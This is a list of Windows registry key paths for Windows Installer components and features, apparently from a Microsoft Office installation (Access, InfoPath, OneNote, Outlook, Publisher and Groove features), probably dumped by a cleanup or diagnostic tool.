HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\607AC42D70795034BBF89F35C8C26F81\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3FA23BFB0DE8BDD4BA12A04347309859\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5AE8A875F999256428E5707A0DC84D24\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\57F39F6D39842604F94C18155759FC97\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\81440F9466EA0E0479107C5D0A3956FC\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D24A2D4EF3BB5BC4DB5954CDC3ECF186\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\438256CEC1FA32847B45768EE56D453C\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E032A638C79A00443A8D316FA5A463EF\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C2C0A6293E4B53E42A0EA3A492AE7208\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0F1D690DB7C9EBF4CB47B78A10C07700\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\FF1FE7F67EA52934D84413B09BE295E4\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\11EDC39B4083856439FC3E1CC29454EC\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\134DA26392D17524B8129C20EC5EAE75\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7092F294C0D8E7844816666D0AC08DAF\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\07C1B25FE07FBD2459E5B218FA33F743\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\79DE4DC1CD9528445A034D3D18EDC998\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\24D1707C120B6D444A55DDE331385A45\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\FC14B367A433F904B88888EA5E89C6B1\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3870A4EE64DC5314A942099D09BDC3A3\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8206966AFD023DF409A61D094B233756\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B1835B263E629484DABE5D2EDC969A4B\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C4B23960A8209BE428C47765E88E39E7\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D1479529B7888A3458CDCB6DE1C4035D\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1430E5CFA6BD0644BA4373B37F29BD65\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7736EFC3A46ED7447876A79EC9B90FF6\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B4402B5884029ED44B0E3BF2B193C4BB\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6E4793FC8F2156145997176669130F9A\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\51525399C5B74634B8072DB52A143078\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A7EB20793DBC41B4998ECBE694FB25AB\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\ABE4E309A6A3A9A4AB166FECE518A42A\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\20A54720E07BD4B448D2BAFA801F549D\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EB266A588FD5F6F4F9F2B398921A20F0\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\57428418D0241C94990E116C72A6C439\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4F25A90420A18F145BD771D4A9C7AD52\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A6F648443DB3F0346A20F5F42A4797F2\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\24E5634D54183DB45B3F9FB94A50A89F\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\42F9FC18A3AF04E419D78BF6C4EC02C8\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0DA277E8BCD53084FA39ADFE03389B9A\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3685FC17A3E2E334489FACE7FB4C3D8D\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B3C300B1CAD52CD47BC035AFEF2D7720\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\316D66FAACA437B4CA3EE2EFAC3EB6E1\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F6798DE9F70467A41BB62CA2421A74AF\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4D9D2A26FB54664499A4A5B702423D40\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F60B1F509D23041488382BD1FD2168D3\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1DD2F13C42F05824793AA1FEFFA927DB\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\CD0486F25396A2043A5E8974CB56A7BD\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F8A87596482A0E94B8DD36005FF3A713\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0FA82E8AE4C87CE40BB1EBB6A5D7DAE7\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7086BA11B4E209F41B5DC5C4BE4DDA6E\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E186235D2ADC66D44A682BC877BA69B8\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2AFE9FF3A28A40C44BB3AB8C86B29D5D\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\112D0333A0D44E047BF983A4106A3C58\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3DEB7F70A93FEE24B8BDDCF3D8BCEE58\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C245BCB99DD12DA4FB398561A1AC799C\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\983B0EB8E75AD87449887237A7519C8F\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D6E916EBE5F901A4DAC15413A827D929\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\ABD5A3F586D60C04B9CF6BCA2FE5148D\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\698D91D34AAA81C4DAB3CC0F79D0E16A\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\139C3899EB73E6C3DA23B8E687B98618\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\339F228ED07C4FC39AD227368BCAFC03\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\27BE807B28AA7BE3B80B8D54AB539CD3\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EFE09CEA8B938793A8D560F8FE382D57\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B651C5A13CC33E63AB7DF90D4D18653D\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\FD2E7D865CB5C813FA91911D2DE96D29\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D26B2F41F5FDF5335A7190194FC40B78\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0D5F5530C7649E0398C42CAFFE25A211\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8B659E12E684B6F43973B5B3F3E906BA\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\75595395A7C94A64D8CCAF33705FC39A\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6FC37B6DF77A2514F9A0D94E9858FEF4\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E88593200F0378D4696D2D17C90D0DFD\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F814E4A484893E149BBD8F89433B9ED9\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E296568F9F43C9E46949B80A54C1A522\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6CBD8DD56639F5E42B8488FE60768AF0\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\ACCESSFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\ACCESSFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\843393EA465E49848B5CBECBE527FE6C\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8B90BDC1AB855B643B43F08361D7A31C\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6635176C7AA317E44ACB2ABD3CDC83E7\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\12A5B079A5B29604CACF62DC0D419D17\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A936D2572A51F0F41AD455E830A4C902\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E87D8AF9A4B832D4E994A7FD08BCC9E0\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D205B04831798F5479FD8467C3217E1E\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7E569675EFDB1D5468BDD6E2C9D55E96\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D626EA727161D6149BCF38D2118F84A6\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A8FE9BB495568D14D935C1AAB6130F21\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E5662AAC3C25DB146AAC19A85ACE43E9\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7447602EBFB5BFB4DA7CC05A2ED92DA2\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D9400E9CC46F86043B917C3974986465\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E888D83CDACAC6143B7BBA6D65C2F503\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\XDOCSFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\XDOCSFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B94A7B5299C774043899E794CED30574\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D715C75D1DC7BEA47AB3AB7794E31B52\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A606E58BDC0E27D4B8B54D2B6CEF90D2\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DB34A05395350CA4B88BD638E6043971\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6904D46C60240B045AE30469DA8A9D3A\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\26C8983E3CE619441849C988DA174686\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2D90AA75351207547B43086856BCA65A\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0CAF1010253A07940A6C2D2C1565D033\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\695C9C2691EB6B44A94AC05E8D6B18CF\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\47429B03E1CCC024594CE82804EB5FCE\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5C7A0C004D9021E478A8F00E9B37CDCA\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\OneNoteFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\OneNoteFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\798C8F26953DF8D46995FCE1E9E3B647\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1982085E3AB56B140A3827AF84FFA8CD\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5E560759C3F5B1348B1617CA987A1381\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9ECA35218B70DA142A2D4916318EDA29\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9F5FAA0D36CC11B4BAC899501E2B906D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8F175CF4803FEBE4CBF117E59186DF5E\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DCDA62B963C46924FAEFC7AB0374DC1B\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7C062B2CD949BCB45927993A3FA9E4A5\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4821C69D85691B240B4C7689CF990C62\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7C6F00615A04BCB46900B7E1BC2253AB\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5564B58E1AFD50B44AED6BBDF90706CE\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0283E042C21402145B5FA1646BBB1592\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\59ABA340D3F15A947A14E3A25A3AA2D8\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\104ECBD48FB74DF44BBBB7E0FBCA89D2\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EBA3C661A40CB824AADBB36C1267F168\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D796CAC860006574ABA4F35848DC97CD\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4AE20C00B4A58A0409ADB4C3D7B04B44\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\OUTLOOKFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\OUTLOOKFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8DD31FFC2FE6BE942B563EFB6C05C1D1\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\615AE87BB986D3A468E954D0537274EA\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4F0828882F99FA94587A431791A7B8E8\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\92B2C0607259A3143AF8B797E84389D9\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\11CE927703D0DA84181FB694E3BA06FF\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\856C8A14768638249AD1D8D0923B5203\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EEEE87AA3BFEBCF409DEE7180EED8A83\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\BBB21EA0C8BA4A44E87A4C8369CAA6BE\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A7F78BF47A0C69A40AD928BD7E022C5E\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\47510E0B2F85BAB468FE70E7CA35138D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2D1D746BE14ECD449B5C8C9520290487\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\32219D6E447B66049B6F1181D17C4B58\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\059BB30391E30EE448A436F1CD4764AF\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8DAB761F8C7AA3342902F14B513257A0\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F6EA893ACFEF06C4FB229D869E586440\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\PubPrimary
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\PubPrimary
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\92B7D0DC7E985C94E81ED558E8FF5239\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3EE271A4605B27746952D10D23185B86\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1FC84038432ED25479C333AF44F339EF\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E220034CE2DA093448DF191E1E91E4A1\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\49CDC33CE28739A4CA66DBE1A3CA48D7\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B01ACADFA4B84FC4FA2A2EBEF3702C02\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\GrooveFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\GrooveFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\198B04717E873AC47B62DA0307073629\00004109110000000000000000F01FEC
